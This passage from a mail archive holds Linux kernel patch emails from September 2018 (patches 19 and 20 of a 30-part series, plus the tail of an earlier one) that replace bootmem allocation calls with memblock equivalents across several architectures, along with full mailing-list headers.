 	set_pud(pud, __pud(_KERNPG_TABLE + (unsigned long) __pa(pmd_table)));
 	if (pmd_table != pmd_offset(pud, 0))
 		BUG();
@@ -124,7 +125,7 @@ static void __init fixaddr_user_init( void)
 		return;
 
 	fixrange_init( FIXADDR_USER_START, FIXADDR_USER_END, swapper_pg_dir);
-	v = (unsigned long) alloc_bootmem_low_pages(size);
+	v = (unsigned long) memblock_alloc_low(size, PAGE_SIZE);
 	memcpy((void *) v , (void *) FIXADDR_USER_START, size);
 	p = __pa(v);
 	for ( ; size > 0; size -= PAGE_SIZE, vaddr += PAGE_SIZE,
@@ -143,7 +144,8 @@ void __init paging_init(void)
 	unsigned long zones_size[MAX_NR_ZONES], vaddr;
 	int i;
 
-	empty_zero_page = (unsigned long *) alloc_bootmem_low_pages(PAGE_SIZE);
+	empty_zero_page = (unsigned long *) memblock_alloc_low(PAGE_SIZE,
+							       PAGE_SIZE);
 	for (i = 0; i < ARRAY_SIZE(zones_size); i++)
 		zones_size[i] = 0;
 
diff --git a/arch/xtensa/mm/mmu.c b/arch/xtensa/mm/mmu.c
index 9d1ecfc..f33a1ff 100644
--- a/arch/xtensa/mm/mmu.c
+++ b/arch/xtensa/mm/mmu.c
@@ -31,7 +31,7 @@ static void * __init init_pmd(unsigned long vaddr, unsigned long n_pages)
 	pr_debug("%s: vaddr: 0x%08lx, n_pages: %ld\n",
 		 __func__, vaddr, n_pages);
 
-	pte = alloc_bootmem_low_pages(n_pages * sizeof(pte_t));
+	pte = memblock_alloc_low(n_pages * sizeof(pte_t), PAGE_SIZE);
 
 	for (i = 0; i < n_pages; ++i)
 		pte_clear(NULL, 0, pte + i);
-- 
2.7.4

From - Thu Nov 08 21:41:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 19/30] memblock: replace alloc_bootmem_pages with
 memblock_alloc
Date: Fri, 14 Sep 2018 15:10:34 +0300
Lines: 189
Approved: news@gmane.org
Message-ID: <1536927045-23536-20-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927109 32734 195.159.176.226 (14 Sep 2018 12:11:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:11:49 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Sep 14 14:11:41 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1g0mwm-0008KA-QZ
	for glpr-linux-riscv@m.gmane.org; Fri, 14 Sep 2018 14:11:41 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=iq+ONWdzbN7SNgrfCzc8IgWvrKUIQCVweRS2o2TnipM=; b=mjF+V6qcqO/zK8+2izkSkPlpQX
	+2JZJzsD7hFCHDEpnu1h/rLcS07Ulhzxls1GTkAjGmtg40iuZrI/FD+BS7osjzK42P4WOn31Svsn/
	IWW4HnRDiFLgrlHZCLCXC9IIfeMWabCMRvMPB2V+X4r5aQxXWXRswjAKDpWKWf0PE2Why3opprwuu
	pzeIwQFNY2bzO7Wn8TmKqUPnL7/ReLfuDrljGxnv6ICJqBmOZl6S4JAcalhn3YtxSdzowhjKYN+pg
	RHOYsBudc8V6ZyM3o0ZL91T/5rv6uUVRL4ELVQHQgmkoEt72eJz927Bvw73YmsCek9pU8DfiCF9wW
	zl8PpxZQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0myo-0004gT-NL; Fri, 14 Sep 2018 12:13:46 +0000
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]
 helo=mx0a-001b2d01.pphosted.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0myI-0004Mr-3h
 for linux-riscv@lists.infradead.org; Fri, 14 Sep 2018 12:13:18 +0000
Original-Received: from pps.filterd (m0098413.ppops.net [127.0.0.1])
 by mx0b-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC535q080018
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:13:03 -0400
Original-Received: from e06smtp05.uk.ibm.com (e06smtp05.uk.ibm.com [195.75.94.101])
 by mx0b-001b2d01.pphosted.com with ESMTP id 2mgb0c4w0u-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:13:02 -0400
Original-Received: from localhost
 by e06smtp05.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-riscv@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:12:59 +0100
Original-Received: from b06cxnps4075.portsmouth.uk.ibm.com (9.149.109.197)
 by e06smtp05.uk.ibm.com (192.168.101.135) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:12:49 +0100
Original-Received: from d06av26.portsmouth.uk.ibm.com (d06av26.portsmouth.uk.ibm.com
 [9.149.105.62])
 by b06cxnps4075.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECCmdV52625472
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:12:48 GMT
Original-Received: from d06av26.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id CFB90AE056;
 Fri, 14 Sep 2018 15:12:00 +0100 (BST)
Original-Received: from d06av26.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id A1C21AE045;
 Fri, 14 Sep 2018 15:11:55 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av26.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:11:55 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:12:42 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-0020-0000-0000-000002C64C04
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0021-0000-0000-00002113ADFA
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=1 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=958 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_051314_377029_7B70CA76 
X-CRM114-Status: GOOD (  24.05  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.158.5 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:794 gmane.linux.kernel.mm:203330 gmane.linux.ports.mips.general:66632 gmane.linux.ports.ia64:29227 gmane.linux.ports.sh.devel:57503 gmane.linux.ports.sparc:28415 gmane.linux.ports.hexagon:1844 gmane.linux.kernel.arc:4357 gmane.linux.ports.alpha:5233 gmane.linux.ports.arm.kernel:674202 gmane.linux.ports.parisc:28955 gmane.linux.kernel:2870775 gmane.linux.ports.ppc64.devel:162490
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/794>

The alloc_bootmem_pages() function allocates PAGE_SIZE aligned memory.
memblock_alloc() with alignment set to PAGE_SIZE does exactly the same
thing.

The conversion is done using the following semantic patch:

@@
expression e;
@@
- alloc_bootmem_pages(e)
+ memblock_alloc(e, PAGE_SIZE)

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
Acked-by: Michal Hocko <mhocko@suse.com>
---
 arch/c6x/mm/init.c             | 3 ++-
 arch/h8300/mm/init.c           | 2 +-
 arch/m68k/mm/init.c            | 2 +-
 arch/m68k/mm/mcfmmu.c          | 4 ++--
 arch/m68k/mm/motorola.c        | 2 +-
 arch/m68k/mm/sun3mmu.c         | 4 ++--
 arch/sh/mm/init.c              | 4 ++--
 arch/x86/kernel/apic/io_apic.c | 3 ++-
 arch/x86/mm/init_64.c          | 2 +-
 drivers/xen/swiotlb-xen.c      | 3 ++-
 10 files changed, 16 insertions(+), 13 deletions(-)

diff --git a/arch/c6x/mm/init.c b/arch/c6x/mm/init.c
index 4cc72b0..dc369ad 100644
--- a/arch/c6x/mm/init.c
+++ b/arch/c6x/mm/init.c
@@ -38,7 +38,8 @@ void __init paging_init(void)
 	struct pglist_data *pgdat = NODE_DATA(0);
 	unsigned long zones_size[MAX_NR_ZONES] = {0, };
 
-	empty_zero_page      = (unsigned long) alloc_bootmem_pages(PAGE_SIZE);
+	empty_zero_page      = (unsigned long) memblock_alloc(PAGE_SIZE,
+							      PAGE_SIZE);
 	memset((void *)empty_zero_page, 0, PAGE_SIZE);
 
 	/*
diff --git a/arch/h8300/mm/init.c b/arch/h8300/mm/init.c
index 015287a..5d31ac9 100644
--- a/arch/h8300/mm/init.c
+++ b/arch/h8300/mm/init.c
@@ -67,7 +67,7 @@ void __init paging_init(void)
 	 * Initialize the bad page table and bad page to point
 	 * to a couple of allocated pages.
 	 */
-	empty_zero_page = (unsigned long)alloc_bootmem_pages(PAGE_SIZE);
+	empty_zero_page = (unsigned long)memblock_alloc(PAGE_SIZE, PAGE_SIZE);
 	memset((void *)empty_zero_page, 0, PAGE_SIZE);
 
 	/*
diff --git a/arch/m68k/mm/init.c b/arch/m68k/mm/init.c
index 38e2b27..977363e 100644
--- a/arch/m68k/mm/init.c
+++ b/arch/m68k/mm/init.c
@@ -93,7 +93,7 @@ void __init paging_init(void)
 
 	high_memory = (void *) end_mem;
 
-	empty_zero_page = alloc_bootmem_pages(PAGE_SIZE);
+	empty_zero_page = memblock_alloc(PAGE_SIZE, PAGE_SIZE);
 
 	/*
 	 * Set up SFC/DFC registers (user data space).
diff --git a/arch/m68k/mm/mcfmmu.c b/arch/m68k/mm/mcfmmu.c
index f5453d9..38a1d92 100644
--- a/arch/m68k/mm/mcfmmu.c
+++ b/arch/m68k/mm/mcfmmu.c
@@ -44,7 +44,7 @@ void __init paging_init(void)
 	enum zone_type zone;
 	int i;
 
-	empty_zero_page = (void *) alloc_bootmem_pages(PAGE_SIZE);
+	empty_zero_page = (void *) memblock_alloc(PAGE_SIZE, PAGE_SIZE);
 	memset((void *) empty_zero_page, 0, PAGE_SIZE);
 
 	pg_dir = swapper_pg_dir;
@@ -52,7 +52,7 @@ void __init paging_init(void)
 
 	size = num_pages * sizeof(pte_t);
 	size = (size + PAGE_SIZE) & ~(PAGE_SIZE-1);
-	next_pgtable = (unsigned long) alloc_bootmem_pages(size);
+	next_pgtable = (unsigned long) memblock_alloc(size, PAGE_SIZE);
 
 	bootmem_end = (next_pgtable + size + PAGE_SIZE) & PAGE_MASK;
 	pg_dir += PAGE_OFFSET >> PGDIR_SHIFT;
diff --git a/arch/m68k/mm/motorola.c b/arch/m68k/mm/motorola.c
index 8bcf57e..2113eec 100644
--- a/arch/m68k/mm/motorola.c
+++ b/arch/m68k/mm/motorola.c
@@ -276,7 +276,7 @@ void __init paging_init(void)
 	 * initialize the bad page table and bad page to point
 	 * to a couple of allocated pages
 	 */
-	empty_zero_page = alloc_bootmem_pages(PAGE_SIZE);
+	empty_zero_page = memblock_alloc(PAGE_SIZE, PAGE_SIZE);
 
 	/*
 	 * Set up SFC/DFC registers
diff --git a/arch/m68k/mm/sun3mmu.c b/arch/m68k/mm/sun3mmu.c
index 4a99799..19c05ab 100644
--- a/arch/m68k/mm/sun3mmu.c
+++ b/arch/m68k/mm/sun3mmu.c
@@ -45,7 +45,7 @@ void __init paging_init(void)
 	unsigned long zones_size[MAX_NR_ZONES] = { 0, };
 	unsigned long size;
 
-	empty_zero_page = alloc_bootmem_pages(PAGE_SIZE);
+	empty_zero_page = memblock_alloc(PAGE_SIZE, PAGE_SIZE);
 
 	address = PAGE_OFFSET;
 	pg_dir = swapper_pg_dir;
@@ -55,7 +55,7 @@ void __init paging_init(void)
 	size = num_pages * sizeof(pte_t);
 	size = (size + PAGE_SIZE) & ~(PAGE_SIZE-1);
 
-	next_pgtable = (unsigned long)alloc_bootmem_pages(size);
+	next_pgtable = (unsigned long)memblock_alloc(size, PAGE_SIZE);
 	bootmem_end = (next_pgtable + size + PAGE_SIZE) & PAGE_MASK;
 
 	/* Map whole memory from PAGE_OFFSET (0x0E000000) */
diff --git a/arch/sh/mm/init.c b/arch/sh/mm/init.c
index 7713c08..c884b76 100644
--- a/arch/sh/mm/init.c
+++ b/arch/sh/mm/init.c
@@ -128,7 +128,7 @@ static pmd_t * __init one_md_table_init(pud_t *pud)
 	if (pud_none(*pud)) {
 		pmd_t *pmd;
 
-		pmd = alloc_bootmem_pages(PAGE_SIZE);
+		pmd = memblock_alloc(PAGE_SIZE, PAGE_SIZE);
 		pud_populate(&init_mm, pud, pmd);
 		BUG_ON(pmd != pmd_offset(pud, 0));
 	}
@@ -141,7 +141,7 @@ static pte_t * __init one_page_table_init(pmd_t *pmd)
 	if (pmd_none(*pmd)) {
 		pte_t *pte;
 
-		pte = alloc_bootmem_pages(PAGE_SIZE);
+		pte = memblock_alloc(PAGE_SIZE, PAGE_SIZE);
 		pmd_populate_kernel(&init_mm, pmd, pte);
 		BUG_ON(pte != pte_offset_kernel(pmd, 0));
 	}
diff --git a/arch/x86/kernel/apic/io_apic.c b/arch/x86/kernel/apic/io_apic.c
index ff0d14c..e25118f 100644
--- a/arch/x86/kernel/apic/io_apic.c
+++ b/arch/x86/kernel/apic/io_apic.c
@@ -2621,7 +2621,8 @@ void __init io_apic_init_mappings(void)
 #ifdef CONFIG_X86_32
 fake_ioapic_page:
 #endif
-			ioapic_phys = (unsigned long)alloc_bootmem_pages(PAGE_SIZE);
+			ioapic_phys = (unsigned long)memblock_alloc(PAGE_SIZE,
+								    PAGE_SIZE);
 			ioapic_phys = __pa(ioapic_phys);
 		}
 		set_fixmap_nocache(idx, ioapic_phys);
diff --git a/arch/x86/mm/init_64.c b/arch/x86/mm/init_64.c
index dd519f3..f39b512 100644
--- a/arch/x86/mm/init_64.c
+++ b/arch/x86/mm/init_64.c
@@ -197,7 +197,7 @@ static __ref void *spp_getpage(void)
 	if (after_bootmem)
 		ptr = (void *) get_zeroed_page(GFP_ATOMIC);
 	else
-		ptr = alloc_bootmem_pages(PAGE_SIZE);
+		ptr = memblock_alloc(PAGE_SIZE, PAGE_SIZE);
 
 	if (!ptr || ((unsigned long)ptr & ~PAGE_MASK)) {
 		panic("set_pte_phys: cannot allocate page data %s\n",
diff --git a/drivers/xen/swiotlb-xen.c b/drivers/xen/swiotlb-xen.c
index a6f9ba8..8d849b4 100644
--- a/drivers/xen/swiotlb-xen.c
+++ b/drivers/xen/swiotlb-xen.c
@@ -217,7 +217,8 @@ int __ref xen_swiotlb_init(int verbose, bool early)
 	 * Get IO TLB memory from any location.
 	 */
 	if (early)
-		xen_io_tlb_start = alloc_bootmem_pages(PAGE_ALIGN(bytes));
+		xen_io_tlb_start = memblock_alloc(PAGE_ALIGN(bytes),
+						  PAGE_SIZE);
 	else {
 #define SLABS_PER_PAGE (1 << (PAGE_SHIFT - IO_TLB_SHIFT))
 #define IO_TLB_MIN_SLABS ((1<<20) >> IO_TLB_SHIFT)
-- 
2.7.4

From - Thu Nov 08 21:41:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 20/30] memblock: replace __alloc_bootmem with
 memblock_alloc_from
Date: Fri, 14 Sep 2018 15:10:35 +0300
Lines: 279
Approved: news@gmane.org
Message-ID: <1536927045-23536-21-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927115 626 195.159.176.226 (14 Sep 2018 12:11:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:11:55 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Sep 14 14:11:46 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1g0mws-0008Pi-05
	for glpr-linux-riscv@m.gmane.org; Fri, 14 Sep 2018 14:11:46 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=B35Q+9hVSt7QZiSI5jfstrN7nPgfz5kGrMBINC66+ko=; b=jLb9eE2K99p7m4bT1B/rDj872d
	SZS4zcCwZHYQx4Sp7hbDPNicgwljZ/zfdvA8Mt6SZ0/u1hmTMeGRBSuoi6csArnEZtJsas5wc4L4s
	t00wq1mwVZ/qVGIvewMM7ZGc+a6avQgdpM4LXoBUsRvV8tD2dBJqY+1Ej7AAKlvDUQElbGrXRfT5v
	b2qASTnzHh0dGRb4hXF2wo1dVFwfLKtYcGcV5w7v9rNFBcNGmyB563r1OHNoEQwTwj/LG+uXfgw7o
	xkQ7BRZUTgEZOnKZOrOAErBb6Z+sX//KnYrnTV1p/ZnVS5RUAEtRIXHBhlBFKw2z7K0lhZE+VBFNC
	JgGwSeHg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0mys-0004iq-TJ; Fri, 14 Sep 2018 12:13:50 +0000
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]
 helo=mx0a-001b2d01.pphosted.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0myI-0004PV-3I
 for linux-riscv@lists.infradead.org; Fri, 14 Sep 2018 12:13:20 +0000
Original-Received: from pps.filterd (m0098419.ppops.net [127.0.0.1])
 by mx0b-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC58Qt009964
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:13:10 -0400
Original-Received: from e06smtp03.uk.ibm.com (e06smtp03.uk.ibm.com [195.75.94.99])
 by mx0b-001b2d01.pphosted.com with ESMTP id 2mgamuw80e-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:13:10 -0400
Original-Received: from localhost
 by e06smtp03.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-riscv@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:13:07 +0100
Original-Received: from b06cxnps4075.portsmouth.uk.ibm.com (9.149.109.197)
 by e06smtp03.uk.ibm.com (192.168.101.133) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:12:55 +0100
Original-Received: from d06av21.portsmouth.uk.ibm.com (d06av21.portsmouth.uk.ibm.com
 [9.149.105.232])
 by b06cxnps4075.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECCs9q57802758
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:12:54 GMT
Original-Received: from d06av21.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id B803A5204F;
 Fri, 14 Sep 2018 15:12:41 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av21.portsmouth.uk.ibm.com (Postfix) with ESMTPS id 9776652057;
 Fri, 14 Sep 2018 15:12:36 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:12:48 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-0012-0000-0000-000002A8D436
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0013-0000-0000-000020DD1EFA
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=1 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_051314_379035_1BD26AD6 
X-CRM114-Status: GOOD (  26.95  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.158.5 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:795 gmane.linux.kernel.mm:203331 gmane.linux.ports.mips.general:66633 gmane.linux.ports.ia64:29228 gmane.linux.ports.sh.devel:57504 gmane.linux.ports.sparc:28416 gmane.linux.ports.hexagon:1845 gmane.linux.kernel.arc:4358 gmane.linux.ports.alpha:5234 gmane.linux.ports.arm.kernel:674203 gmane.linux.ports.parisc:28956 gmane.linux.kernel:2870776 gmane.linux.ports.ppc64.devel:162491
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/795>

The functions are equivalent, just the later does not require nobootmem
translation layer.

The conversion is done using the following semantic patch:

@@
expression size, align, goal;
@@
- __alloc_bootmem(size, align, goal)
+ memblock_alloc_from(size, align, goal)

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
Acked-by: Michal Hocko <mhocko@suse.com>
---
